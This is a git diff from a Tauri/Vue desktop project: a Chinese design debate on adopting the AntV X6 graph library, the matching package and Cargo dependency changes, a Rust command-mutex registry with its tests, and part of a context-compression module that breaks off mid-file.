> **多角度对抗论证**(2026-06-30):正方(支持引入)/ 反方(质疑引入)/ 分析师(综合裁决),覆盖技术/成本/风险/替代/演进五维度。事实基线已校验:① X6 v3.1.7 unpacked 8.5MB(gzip 后约 200-300KB),依赖 lodash-es/mousetrap/dom-align/utility-types 均轻量成熟;② 现有 `WorkflowDagDisplay.vue` 无任何图引擎(纯 Vue ref/computed),X6 非重复造轮子而是其升级路径;③ DevFlow 前端零图可视化依赖,全新引入无迁移包袱。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**🔵 正方论点(支持引入 X6)**
|
||||||
|
|
||||||
|
| # | 论点 | 论据 |
|
||||||
|
|---|---|---|
|
||||||
|
| P1 | **编辑能力最强,一个库覆盖两个场景** | X6 定位「图编辑引擎」,拖拽/连线/撤销/小地图全栈。DevFlow 既要依赖图(P0)又要工作流编辑器(P1,现有 WorkflowDagDisplay.vue 是纯 Vue 渲染无图引擎,X6 正是它的升级路径)。引入一次,复用两次。 |
|
||||||
|
| P2 | **Vue 原生支持,与现有栈零摩擦** | 官方 `@antv/x6-vue-shape` 支持用 Vue SFC 写自定义节点,与 Arco Design 组件可混用。对比 ReactFlow(React 栈,Vue 项目要包装)、vis-network(无框架绑定,手搓集成)更顺。 |
|
||||||
|
| P3 | **内置 dagre 布局,依赖图天然适配** | 依赖关系是层次结构,dagre 层次布局是业界标准。vis-network/d3 需额外引入 dagre 并手搓布局映射,X6 内置开箱即用。 |
|
||||||
|
| P4 | **活跃维护 + MIT 协议** | 18.3k stars,2026 年仍持续 release(近期修了节点事件冒泡 #4888、stencil 高度自适应 #4975)。MIT 协议无商用风险。v3 是当前主线,新项目无历史包袱。 |
|
||||||
|
| P5 | **数据格式与后端图结构直接映射** | X6 的 fromJSON/toJSON 与后端 `ModuleDependencyGraph`(nodes + edges)结构同构,映射函数 < 30 行。 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**🔴 反方论点(质疑引入 X6)**
|
||||||
|
|
||||||
|
| # | 论点 | 论据 |
|
||||||
|
|---|---|---|
|
||||||
|
| C1 | **包体积增加,违反「轻量」原则** | X6 核心 unpacked 8.5MB,加上 6-7 个必装插件 + vue-shape,gzip 后估计 250-350KB。DevFlow 是 Tauri 桌面应用(本地资源非 CDN),体积敏感度低于 Web,但仍增加安装包。依赖 lodash-es(虽 tree-shakable)是额外负担。 |
|
||||||
|
| C2 | **P1 工作流编辑器是「未来」,可能永远不会做** | YAGNI 原则。当前只有 P0 依赖图是确定需求,P1 工作流编辑器是臆想。若仅为 P0,vis-network 甚至自研 SVG 可能更轻。为「可能的未来」提前引入重库,有过度设计风险。 |
|
||||||
|
| C3 | **v3 文档站 SPA 难爬,学习曲线隐性成本** | x6.antv.antgroup.com 是客户端渲染,离线/爬取困难。v3 相比 v1 有 breaking changes,网上多数博客/StackOverflow 答案是 v1/v2 的,会误导。团队首次接触 X6,踩坑成本不可忽视。 |
|
||||||
|
| C4 | **依赖图场景可能极简单,杀鸡用牛刀** | DevFlow 单项目工程数通常 < 10,极端 < 50。这种规模用 Arco 现有组件 + 简单 SVG 连线可能就够,不需要完整图引擎。X6 的 80% 功能(旋转/剪贴板/导出/stencil)用不到。 |
|
||||||
|
| C5 | **锁定风险:一旦深度集成,替换成本高** | X6 的自定义节点/事件/布局深度耦合进组件后,若未来发现不合适(如性能/bug/协议变更),迁移到其他库等于重写。引入容易,退出难。 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**🟣 分析师综合裁决**
|
||||||
|
|
||||||
|
**裁决:✅ 引入 X6,但采用「最小引入 + 渐进验证」策略,设明确退出点。**
|
||||||
|
|
||||||
|
逐条评估:
|
||||||
|
|
||||||
|
| 维度 | 裁决 | 理由 |
|
||||||
|
|---|---|---|
|
||||||
|
| **P1 vs C2(P1 场景真实性)** | **P1 胜** | 已验证 `WorkflowDagDisplay.vue` 存在且无图引擎,说明工作流可视化是**已落地需求**(只是当前实现简陋),非臆想。X6 是它的自然升级,不算为虚构未来买单。但建议 P1 正式立项前不深度集成,先在 P0 验证。 |
|
||||||
|
| **P3 vs C4(杀鸡用牛刀)** | **部分采纳 C4** | 工程数确实可能 < 10,但「依赖图」的核心价值是**可视化拓扑 + 交互编辑**(拖拽重排/点击跳转/小地图导航),不是单纯画出来。SVG 手搓能画,但交互/布局/撤销要手搓,ROI 低。X6 确实用不到 80% 功能,但剩下 20% 正是痛点,且插件化可按需引入不付多余成本。 |
|
||||||
|
| **P4 vs C3(学习曲线)** | **C3 成立但可控** | 文档难爬是事实,但 X6 examples 仓库(可 clone) + 在线文档足够。v3 breaking changes 对**全新引入**项目无影响(无迁移)。团队有 Vue + Tauri 经验,X6 API 风格主流,学习成本 1-2 天可接受。 |
|
||||||
|
| **C1(体积)** | **不构成阻塞** | Tauri 是桌面应用,250-350KB gzip 在本地资源中可忽略(对比 DevFlow 已有 marked/highlight.js/dompurify 等依赖)。lodash-es tree-shakable 后实际引入很小。 |
|
||||||
|
| **C5(锁定风险)** | **采纳,设退出点** | 这是唯一实质风险。对策:Phase 0-1 用「数据映射层」隔离(`graphMapper.ts`),X6 实例仅在 `DependencyGraph.vue` 内部使用,不泄漏到 store/IPC 层。若未来退出,只换一个组件,数据层不动。 |
|
||||||
|
|
||||||
|
**修正后的推荐**:
|
||||||
|
- **引入 X6 v3.1.7**,但比原计划更保守:
|
||||||
|
- Phase 0(0.5 天):装依赖 + 最小 demo,**设为硬性验证门**(Tauri WebView 渲染/性能/集成无异常才继续)
|
||||||
|
- Phase 1(1.5 天):依赖图组件,**数据层隔离**(graphMapper.ts),X6 不耦合进 store
|
||||||
|
- ⏸ **暂不规划 Phase 2-3**(工作流编辑器/任务图),待 P0 跑通 + P1 正式立项再评估
|
||||||
|
- **退出条件**(若 Phase 0 验证失败):回退到 vis-network 或自研 SVG,数据层(graphMapper.ts)可复用
|
||||||
|
|
||||||
|
**置信度**:中高。主要不确定性在 C3(团队学习曲线)和 C5(长期锁定),但通过「最小引入 + 数据隔离 + 渐进验证」已充分对冲。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
- **背景**:多工程组织功能 `[子4] 前端依赖关系图可视化` 需要图引擎,当前前端零图可视化依赖。已完成 X6 调研(见 `01-技术文档/AntV-X6调研报告与引入计划-2026-06-30.md`)。
|
||||||
|
- **决策点**:是否引入 AntV X6 v3.1.7 作为 DevFlow 图可视化层。
|
||||||
|
- **选项**:
|
||||||
|
- a: ✅ **引入 X6 v3.1.7**(推荐)— 编辑能力最强 + 官方 Vue shape + 内置 dagre 布局,综合最优。落地依赖图(P0)→ 工作流编辑器(P1)。Phase 0-2 共约 2.5 天。
|
||||||
|
- b: 引入 vis-network — 体积小但编辑能力弱,无原生 Vue 支持,依赖图场景勉强够用,未来工作流编辑器需重选。
|
||||||
|
- c: 自研 SVG 图渲染 — 零依赖,但拖拽/布局/撤销/小地图全要手搓,成本高,不推荐。
|
||||||
|
- **推荐**:**a**(引入 X6,采用「最小引入 + 渐进验证」策略)。理由:见上方分析师裁决(P1 场景真实存在 + 编辑能力不可替代 + 体积可控 + 锁定风险已用数据隔离层对冲)。
|
||||||
|
- **影响范围**:仅前端 `package.json` 新增依赖 + 新建 `src/components/DependencyGraph.vue` + `src/utils/graphMapper.ts`(数据隔离层);无 Rust/IPC 改动。
|
||||||
|
- **退出机制**:Phase 0 为硬性验证门;数据层隔离保证可回退 vis-network/自研。
|
||||||
|
- **状态**:🟡 待用户拍板(批准后推进 Phase 0 安装验证)
|
||||||
|
|
||||||
#### T-260614-11 条件表达式引擎升级(✅ 已完成)
|
#### T-260614-11 条件表达式引擎升级(✅ 已完成)
|
||||||
- **背景**:df-workflow conditions 仅支持 true/false 字面量,升级为真表达式求值。
|
- **背景**:df-workflow conditions 仅支持 true/false 字面量,升级为真表达式求值。
|
||||||
- **解决**:手写求值器(option a)已实现并集成。
|
- **解决**:手写求值器(option a)已实现并集成。
|
||||||
|
|||||||
89
package-lock.json
generated
89
package-lock.json
generated
@@ -8,6 +8,8 @@
|
|||||||
"name": "devflow",
|
"name": "devflow",
|
||||||
"version": "0.1.0",
|
"version": "0.1.0",
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
|
"@antv/x6": "^3.1.7",
|
||||||
|
"@antv/x6-vue-shape": "^3.0.2",
|
||||||
"@arco-design/web-vue": "^2.58.0",
|
"@arco-design/web-vue": "^2.58.0",
|
||||||
"@tauri-apps/api": "^2",
|
"@tauri-apps/api": "^2",
|
||||||
"@tauri-apps/plugin-dialog": "^2.7.1",
|
"@tauri-apps/plugin-dialog": "^2.7.1",
|
||||||
@@ -27,6 +29,66 @@
|
|||||||
"vue-tsc": "^2.2.0"
|
"vue-tsc": "^2.2.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"node_modules/@antv/x6": {
|
||||||
|
"version": "3.1.7",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@antv/x6/-/x6-3.1.7.tgz",
|
||||||
|
"integrity": "sha512-NLKXtbCK51oLbazfFD0XsD93rMmih08UBW4gAuEyLBpwAqHmHe+vP8VhOZDkl5O9jV1LSv85IJghr9CT5tZjWw==",
|
||||||
|
"license": "MIT",
|
||||||
|
"dependencies": {
|
||||||
|
"dom-align": "^1.12.4",
|
||||||
|
"lodash-es": "^4.17.15",
|
||||||
|
"mousetrap": "^1.6.5",
|
||||||
|
"utility-types": "^3.10.0"
|
||||||
|
},
|
||||||
|
"engines": {
|
||||||
|
"node": ">=20.0.0"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@antv/x6-vue-shape": {
|
||||||
|
"version": "3.0.2",
|
||||||
|
"resolved": "https://registry.npmmirror.com/@antv/x6-vue-shape/-/x6-vue-shape-3.0.2.tgz",
|
||||||
|
"integrity": "sha512-HWnYFvLCaUD9ernINxTn9vCRj66eG/nXKErSSq0hfI4U1HOitC/1oUrzDdwL/BT80HKAQeSsmy7gpDA/79jYlw==",
|
||||||
|
"license": "MIT",
|
||||||
|
"dependencies": {
|
||||||
|
"vue-demi": "latest"
|
||||||
|
},
|
||||||
|
"peerDependencies": {
|
||||||
|
"@antv/x6": "^3.x",
|
||||||
|
"@vue/composition-api": "^1.0.0-rc.1",
|
||||||
|
"vue": "^2.0.0 || >=3.0.0"
|
||||||
|
},
|
||||||
|
"peerDependenciesMeta": {
|
||||||
|
"@vue/composition-api": {
|
||||||
|
"optional": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"node_modules/@antv/x6-vue-shape/node_modules/vue-demi": {
|
||||||
|
"version": "0.14.10",
|
||||||
|
"resolved": "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.10.tgz",
|
||||||
|
"integrity": "sha512-nMZBOwuzabUO0nLgIcc6rycZEebF6eeUfaiQx9+WSk8e29IbLvPU9feI6tqW4kTo3hvoYAJkMh8n8D0fuISphg==",
|
||||||
|
"hasInstallScript": true,
|
||||||
|
"license": "MIT",
|
||||||
|
"bin": {
|
||||||
|
"vue-demi-fix": "bin/vue-demi-fix.js",
|
||||||
|
"vue-demi-switch": "bin/vue-demi-switch.js"
|
||||||
|
},
|
||||||
|
"engines": {
|
||||||
|
"node": ">=12"
|
||||||
|
},
|
||||||
|
"funding": {
|
||||||
|
"url": "https://github.com/sponsors/antfu"
|
||||||
|
},
|
||||||
|
"peerDependencies": {
|
||||||
|
"@vue/composition-api": "^1.0.0-rc.1",
|
||||||
|
"vue": "^3.0.0-0 || ^2.6.0"
|
||||||
|
},
|
||||||
|
"peerDependenciesMeta": {
|
||||||
|
"@vue/composition-api": {
|
||||||
|
"optional": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
"node_modules/@arco-design/color": {
|
"node_modules/@arco-design/color": {
|
||||||
"version": "0.4.0",
|
"version": "0.4.0",
|
||||||
"resolved": "https://registry.npmmirror.com/@arco-design/color/-/color-0.4.0.tgz",
|
"resolved": "https://registry.npmmirror.com/@arco-design/color/-/color-0.4.0.tgz",
|
||||||
@@ -1486,6 +1548,12 @@
|
|||||||
"dev": true,
|
"dev": true,
|
||||||
"license": "MIT"
|
"license": "MIT"
|
||||||
},
|
},
|
||||||
|
"node_modules/dom-align": {
|
||||||
|
"version": "1.12.4",
|
||||||
|
"resolved": "https://registry.npmmirror.com/dom-align/-/dom-align-1.12.4.tgz",
|
||||||
|
"integrity": "sha512-R8LUSEay/68zE5c8/3BDxiTEvgb4xZTF0RKmAHfiEVN3klfIpXfi2/QCoiWPccVQ0J/ZGdz9OjzL4uJEP/MRAw==",
|
||||||
|
"license": "MIT"
|
||||||
|
},
|
||||||
"node_modules/dompurify": {
|
"node_modules/dompurify": {
|
||||||
"version": "3.4.10",
|
"version": "3.4.10",
|
||||||
"resolved": "https://registry.npmmirror.com/dompurify/-/dompurify-3.4.10.tgz",
|
"resolved": "https://registry.npmmirror.com/dompurify/-/dompurify-3.4.10.tgz",
|
||||||
@@ -1613,6 +1681,12 @@
|
|||||||
"integrity": "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA==",
|
"integrity": "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA==",
|
||||||
"license": "MIT"
|
"license": "MIT"
|
||||||
},
|
},
|
||||||
|
"node_modules/lodash-es": {
|
||||||
|
"version": "4.18.1",
|
||||||
|
"resolved": "https://registry.npmmirror.com/lodash-es/-/lodash-es-4.18.1.tgz",
|
||||||
|
"integrity": "sha512-J8xewKD/Gk22OZbhpOVSwcs60zhd95ESDwezOFuA3/099925PdHJ7OFHNTGtajL3AlZkykD32HykiMo+BIBI8A==",
|
||||||
|
"license": "MIT"
|
||||||
|
},
|
||||||
"node_modules/magic-string": {
|
"node_modules/magic-string": {
|
||||||
"version": "0.30.21",
|
"version": "0.30.21",
|
||||||
"resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.21.tgz",
|
"resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.21.tgz",
|
||||||
@@ -1650,6 +1724,12 @@
|
|||||||
"url": "https://github.com/sponsors/isaacs"
|
"url": "https://github.com/sponsors/isaacs"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"node_modules/mousetrap": {
|
||||||
|
"version": "1.6.5",
|
||||||
|
"resolved": "https://registry.npmmirror.com/mousetrap/-/mousetrap-1.6.5.tgz",
|
||||||
|
"integrity": "sha512-QNo4kEepaIBwiT8CDhP98umTetp+JNfQYBWvC1pc6/OAibuXtRcxZ58Qz8skvEHYvURne/7R8T5VoOI7rDsEUA==",
|
||||||
|
"license": "Apache-2.0 WITH LLVM-exception"
|
||||||
|
},
|
||||||
"node_modules/muggle-string": {
|
"node_modules/muggle-string": {
|
||||||
"version": "0.4.1",
|
"version": "0.4.1",
|
||||||
"resolved": "https://registry.npmmirror.com/muggle-string/-/muggle-string-0.4.1.tgz",
|
"resolved": "https://registry.npmmirror.com/muggle-string/-/muggle-string-0.4.1.tgz",
|
||||||
@@ -1844,6 +1924,15 @@
|
|||||||
"node": ">=14.17"
|
"node": ">=14.17"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"node_modules/utility-types": {
|
||||||
|
"version": "3.11.0",
|
||||||
|
"resolved": "https://registry.npmmirror.com/utility-types/-/utility-types-3.11.0.tgz",
|
||||||
|
"integrity": "sha512-6Z7Ma2aVEWisaL6TvBCy7P8rm2LQoPv6dJ7ecIaIixHcwfbJ0x7mWdbcwlIM5IGQxPZSFYeqRCqlOOeKoJYMkw==",
|
||||||
|
"license": "MIT",
|
||||||
|
"engines": {
|
||||||
|
"node": ">= 4"
|
||||||
|
}
|
||||||
|
},
|
||||||
"node_modules/vite": {
|
"node_modules/vite": {
|
||||||
"version": "6.4.3",
|
"version": "6.4.3",
|
||||||
"resolved": "https://registry.npmmirror.com/vite/-/vite-6.4.3.tgz",
|
"resolved": "https://registry.npmmirror.com/vite/-/vite-6.4.3.tgz",
|
||||||
|
|||||||
@@ -13,12 +13,18 @@
|
|||||||
"build:dev": "tauri build --debug --no-bundle"
|
"build:dev": "tauri build --debug --no-bundle"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
|
"@antv/layout": "^2.0.0",
|
||||||
|
"@antv/x6": "^3.1.7",
|
||||||
|
"@antv/x6-vue-shape": "^3.0.2",
|
||||||
"@arco-design/web-vue": "^2.58.0",
|
"@arco-design/web-vue": "^2.58.0",
|
||||||
"@tauri-apps/api": "^2",
|
"@tauri-apps/api": "^2",
|
||||||
"@tauri-apps/plugin-dialog": "^2.7.1",
|
"@tauri-apps/plugin-dialog": "^2.7.1",
|
||||||
|
"@types/dagre": "^0.7.54",
|
||||||
|
"dagre": "^0.8.5",
|
||||||
"dompurify": "^3.4.10",
|
"dompurify": "^3.4.10",
|
||||||
"highlight.js": "^11.11.1",
|
"highlight.js": "^11.11.1",
|
||||||
"marked": "^18.0.5",
|
"marked": "^18.0.5",
|
||||||
|
"tslib": "^2.8.1",
|
||||||
"vue": "^3.5.13",
|
"vue": "^3.5.13",
|
||||||
"vue-i18n": "9",
|
"vue-i18n": "9",
|
||||||
"vue-router": "4"
|
"vue-router": "4"
|
||||||
|
|||||||
@@ -20,6 +20,7 @@ tauri-plugin-window-state = "2"
|
|||||||
serde.workspace = true
|
serde.workspace = true
|
||||||
serde_json.workspace = true
|
serde_json.workspace = true
|
||||||
tokio.workspace = true
|
tokio.workspace = true
|
||||||
|
dashmap.workspace = true
|
||||||
anyhow.workspace = true
|
anyhow.workspace = true
|
||||||
tracing.workspace = true
|
tracing.workspace = true
|
||||||
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
|
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
|
||||||
@@ -56,9 +57,10 @@ regex = { workspace = true }
|
|||||||
# 根因见 docs/09-问题排查/aichat-apikey-401排查-2026-06-15.md
|
# 根因见 docs/09-问题排查/aichat-apikey-401排查-2026-06-15.md
|
||||||
keyring = { workspace = true }
|
keyring = { workspace = true }
|
||||||
# http_request AI 工具:结构化 HTTP(GET/POST/...)。
|
# http_request AI 工具:结构化 HTTP(GET/POST/...)。
|
||||||
# 复用 df-ai 同款 reqwest 0.12(同版本锁定,避免双 TLS 后端)。默认 native-tls(与 df-ai 一致),
|
# 复用 df-ai 同款 reqwest 0.12(同版本锁定,避免双 TLS 后端)。
|
||||||
# 启用 json(响应解析)/gzip/brotli(透明解压,常见 API 必备)。重定向手动接管(见 http.rs SSRF)。
|
# 使用 rustls-tls(非 native-tls),避免 Windows SChannel 同步阻塞 tokio 工作线程
|
||||||
reqwest = { version = "0.12", features = ["json", "gzip", "brotli"] }
|
# 致 BUG-2026-07-17(aichat 流式调用永久 hang,外层 tokio timeout 亦无法推进计时器)。
|
||||||
|
reqwest = { version = "0.12", default-features = false, features = ["json", "gzip", "brotli", "rustls-tls"] }
|
||||||
# AST 代码智能(read_symbol 三态,信息密度驱动,见 docs/02-架构设计/专项设计/AST符号解析-设计-2026-06-24.md):
|
# AST 代码智能(read_symbol 三态,信息密度驱动,见 docs/02-架构设计/专项设计/AST符号解析-设计-2026-06-24.md):
|
||||||
# 治 aichat read_file 全文回灌 prompt 爆(e46f5605 360K/8dfe0b94 5M)。tree-sitter 语法层精准提取
|
# 治 aichat read_file 全文回灌 prompt 爆(e46f5605 360K/8dfe0b94 5M)。tree-sitter 语法层精准提取
|
||||||
# 符号骨架/下钻/全文,替代物理读全文件。静态编译 + 集中 grammar_for(ext) lookup(不动态加载/不抽 trait,YAGNI)。
|
# 符号骨架/下钻/全文,替代物理读全文件。静态编译 + 集中 grammar_for(ext) lookup(不动态加载/不抽 trait,YAGNI)。
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
{
|
{
|
||||||
"identifier": "default",
|
"identifier": "default",
|
||||||
"description": "DevFlow default permissions",
|
"description": "DevFlow default permissions",
|
||||||
"windows": ["main", "ai-detached"],
|
"windows": ["main", "ai-detached", "ai-detached-*", "fe-detached-*"],
|
||||||
"permissions": [
|
"permissions": [
|
||||||
"core:default",
|
"core:default",
|
||||||
"core:event:default",
|
"core:event:default",
|
||||||
|
|||||||
134
src-tauri/src/commands/ai/agentic/command_lock.rs
Normal file
134
src-tauri/src/commands/ai/agentic/command_lock.rs
Normal file
@@ -0,0 +1,134 @@
|
|||||||
|
//! 命令执行互斥锁 — 防止多 Agent 并行时同目录的同名命令资源竞争
|
||||||
|
//!
|
||||||
|
//! 设计依据:docs/02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md §4.3
|
||||||
|
//!
|
||||||
|
//! 场景:多 Agent 并行时,两个 SubTask 同时跑 `npm install` 争抢 node_modules。
|
||||||
|
//! 方案:按 (working_dir, command_name) 加 mutex,同 key 串行化。
|
||||||
|
|
||||||
|
use std::collections::HashMap;
|
||||||
|
use std::sync::{Arc, Mutex};
|
||||||
|
use tokio::sync::Semaphore;
|
||||||
|
|
||||||
|
/// 全局命令锁注册表
|
||||||
|
/// key = "{working_dir}::{command_first_word}"
|
||||||
|
/// 每个 key 一个 Semaphore(1),同 key 并发请求串行化
|
||||||
|
#[allow(dead_code)]
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct CommandLockRegistry {
|
||||||
|
inner: Arc<Mutex<HashMap<String, Arc<Semaphore>>>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl CommandLockRegistry {
|
||||||
|
#[allow(dead_code)]
|
||||||
|
pub fn new() -> Self {
|
||||||
|
Self {
|
||||||
|
inner: Arc::new(Mutex::new(HashMap::new())),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 获取(或创建)指定 key 的信号量。
|
||||||
|
/// 返回 Arc<Semaphore>,调用方 await acquire 后执行命令,drop permit 后释放。
|
||||||
|
#[allow(dead_code)]
|
||||||
|
pub fn get_or_create(&self, working_dir: &str, command: &str) -> Arc<Semaphore> {
|
||||||
|
let cmd_first = command.split_whitespace().next().unwrap_or(command);
|
||||||
|
let key = format!("{}::{}", working_dir, cmd_first);
|
||||||
|
let mut guard = self.inner.lock().unwrap();
|
||||||
|
guard
|
||||||
|
.entry(key)
|
||||||
|
.or_insert_with(|| Arc::new(Semaphore::new(1)))
|
||||||
|
.clone()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 当前注册的锁数量(调试/监控用)
|
||||||
|
#[allow(dead_code)]
|
||||||
|
pub fn lock_count(&self) -> usize {
|
||||||
|
self.inner.lock().unwrap().len()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for CommandLockRegistry {
|
||||||
|
fn default() -> Self {
|
||||||
|
Self::new()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn lck_01_same_dir_same_cmd_serialized() {
|
||||||
|
let registry = CommandLockRegistry::new();
|
||||||
|
let sem1 = registry.get_or_create("/project", "npm install");
|
||||||
|
let sem2 = registry.get_or_create("/project", "npm install");
|
||||||
|
|
||||||
|
// 同 key 应返回同一个 Semaphore
|
||||||
|
assert!(Arc::ptr_eq(&sem1, &sem2), "同 dir+cmd 应返回同一个 Semaphore");
|
||||||
|
|
||||||
|
// 获取第一个 permit
|
||||||
|
let permit1 = sem1.acquire().await.unwrap();
|
||||||
|
// 第二个应等待(非阻塞测试:try_acquire 应失败)
|
||||||
|
let try_result = sem2.try_acquire();
|
||||||
|
assert!(try_result.is_err(), "同 key 第二个应被阻塞");
|
||||||
|
|
||||||
|
drop(permit1);
|
||||||
|
// 释放后第二个应能获取
|
||||||
|
let permit2 = sem2.acquire().await;
|
||||||
|
assert!(permit2.is_ok(), "释放后应可获取");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn lck_02_different_cmds_parallel() {
|
||||||
|
let registry = CommandLockRegistry::new();
|
||||||
|
let npm_sem = registry.get_or_create("/project", "npm install");
|
||||||
|
let cargo_sem = registry.get_or_create("/project", "cargo build");
|
||||||
|
|
||||||
|
// 不同命令应是不同的 Semaphore
|
||||||
|
assert!(!Arc::ptr_eq(&npm_sem, &cargo_sem), "不同 cmd 应是不同 Semaphore");
|
||||||
|
|
||||||
|
// 两个都能同时获取
|
||||||
|
let p1 = npm_sem.acquire().await.unwrap();
|
||||||
|
let p2 = cargo_sem.acquire().await.unwrap();
|
||||||
|
drop(p1);
|
||||||
|
drop(p2);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn lck_03_different_dirs_parallel() {
|
||||||
|
let registry = CommandLockRegistry::new();
|
||||||
|
let sem1 = registry.get_or_create("/project-a", "npm install");
|
||||||
|
let sem2 = registry.get_or_create("/project-b", "npm install");
|
||||||
|
|
||||||
|
// 不同目录应是不同的 Semaphore
|
||||||
|
assert!(!Arc::ptr_eq(&sem1, &sem2), "不同 dir 应是不同 Semaphore");
|
||||||
|
|
||||||
|
// 两个都能同时获取
|
||||||
|
let p1 = sem1.acquire().await.unwrap();
|
||||||
|
let p2 = sem2.acquire().await.unwrap();
|
||||||
|
drop(p1);
|
||||||
|
drop(p2);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tokio::test]
|
||||||
|
async fn lck_04_command_extracted_first_word() {
|
||||||
|
let registry = CommandLockRegistry::new();
|
||||||
|
let sem1 = registry.get_or_create("/proj", "npm install --force");
|
||||||
|
let sem2 = registry.get_or_create("/proj", "npm run build");
|
||||||
|
|
||||||
|
// "npm install --force" 和 "npm run build" 首词都是 "npm"
|
||||||
|
// 同 dir + 同首词应串行化
|
||||||
|
assert!(Arc::ptr_eq(&sem1, &sem2), "同 dir+同首词应串行化");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn lck_05_lock_count_tracks_keys() {
|
||||||
|
let registry = CommandLockRegistry::new();
|
||||||
|
assert_eq!(registry.lock_count(), 0);
|
||||||
|
registry.get_or_create("/a", "npm");
|
||||||
|
assert_eq!(registry.lock_count(), 1);
|
||||||
|
registry.get_or_create("/a", "cargo");
|
||||||
|
assert_eq!(registry.lock_count(), 2);
|
||||||
|
registry.get_or_create("/a", "npm"); // 已存在
|
||||||
|
assert_eq!(registry.lock_count(), 2);
|
||||||
|
}
|
||||||
|
}
|
||||||
228
src-tauri/src/commands/ai/agentic/context_lifecycle.rs
Normal file
228
src-tauri/src/commands/ai/agentic/context_lifecycle.rs
Normal file
@@ -0,0 +1,228 @@
|
|||||||
|
//! Agentic 循环上下文生命周期:F-15 自动压缩(智能裁剪)。
|
||||||
|
//!
|
||||||
|
//! 从 `mod.rs::run_agentic_loop` 机械抽取(L1017-1193),行为零变更。
|
||||||
|
//!
|
||||||
|
//! 触发条件:history_tokens > budget*0.6 且 保护区外有可压缩消息 且 未在压缩中。
|
||||||
|
//!
|
||||||
|
//! 流程(对齐阶段2 ai_chat_compress_context IPC 的 read-but-don't-mutate 模式):
|
||||||
|
//! ① 读 active 克隆(不改 status / 不扣 token)→ 喂 LLM 出摘要;
|
||||||
|
//! ② LLM 成功 → compress_old_messages(标 compressed + 扣 token)+ insert_at(摘要 system);
|
||||||
|
//! ③ LLM 失败 → 消息状态完全不变(未改 status / 未扣 token),降级走原 build_for_request 裁剪。
|
||||||
|
//!
|
||||||
|
//! 口径决策(任务让"你判断"):选**延迟 mutate(成功才改)**而非"失败回滚 status"。
|
||||||
|
//! 理由:ContextManager.history_tokens 字段私有、无 set_history_tokens 公开接口;
|
||||||
|
//! 若先 compress_old_messages(扣 token)再 LLM,失败回滚需精确恢复 history_tokens,
|
||||||
|
//! 但 ChatMessage 克隆不含 token_count,无法等量加回——回滚 token 不精确。
|
||||||
|
//! 延迟 mutate 则失败时零副作用(消息状态/token 完全不变),语义最干净。
|
||||||
|
//! 注:延迟 mutate 的窗口(active_msgs 读出→LLM 出摘要期间)不持锁,但 loop 串行无并发
|
||||||
|
//! (本函数独占 session_arc,工具执行/审批分支在 stream 之后),故此窗口内 messages 不变。
|
||||||
|
//!
|
||||||
|
//! 安全(FR-S1):复用 loop 顶部已 build+验证 的 provider(不再 build_provider_for 重复 resolve
|
||||||
|
//! keyring),api_key 经 df_storage::secret 闭环;summary/error payload/日志均不含 api_key。
|
||||||
|
//! is_compressing 防重入:set_compressing(true/false) 成对(LLM 调用前后均复位)。
|
||||||
|
//! 单轮问答(history_tokens 未超 0.6*budget)不触发,零行为变化。
|
||||||
|
//! F-260616-09 B 批2:messages 操作改 per_conv(设计 §4.2)。
|
||||||
|
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use tauri::{AppHandle, Emitter, Manager};
|
||||||
|
use tokio::sync::Mutex;
|
||||||
|
|
||||||
|
use df_ai::context_helpers::extract_keyword_summary;
|
||||||
|
use df_ai::provider::{ChatMessage, LlmProvider};
|
||||||
|
use df_storage::models::AiProviderRecord;
|
||||||
|
|
||||||
|
use crate::state::{AppState, LlmConcurrency};
|
||||||
|
|
||||||
|
// compress_via_llm 位于 commands::ai::compress(mod.rs 的 super::compress)。
|
||||||
|
use super::super::compress::compress_via_llm;
|
||||||
|
use super::{AiChatEvent, AiSession};
|
||||||
|
|
||||||
|
/// 压缩保护区条数(对齐 clear/compress IPC 的 PROTECT_COUNT=6)。
|
||||||
|
/// protect_start = len.saturating_sub(PROTECT_COUNT):保护区内的最近 6 条(含本轮三元组)
|
||||||
|
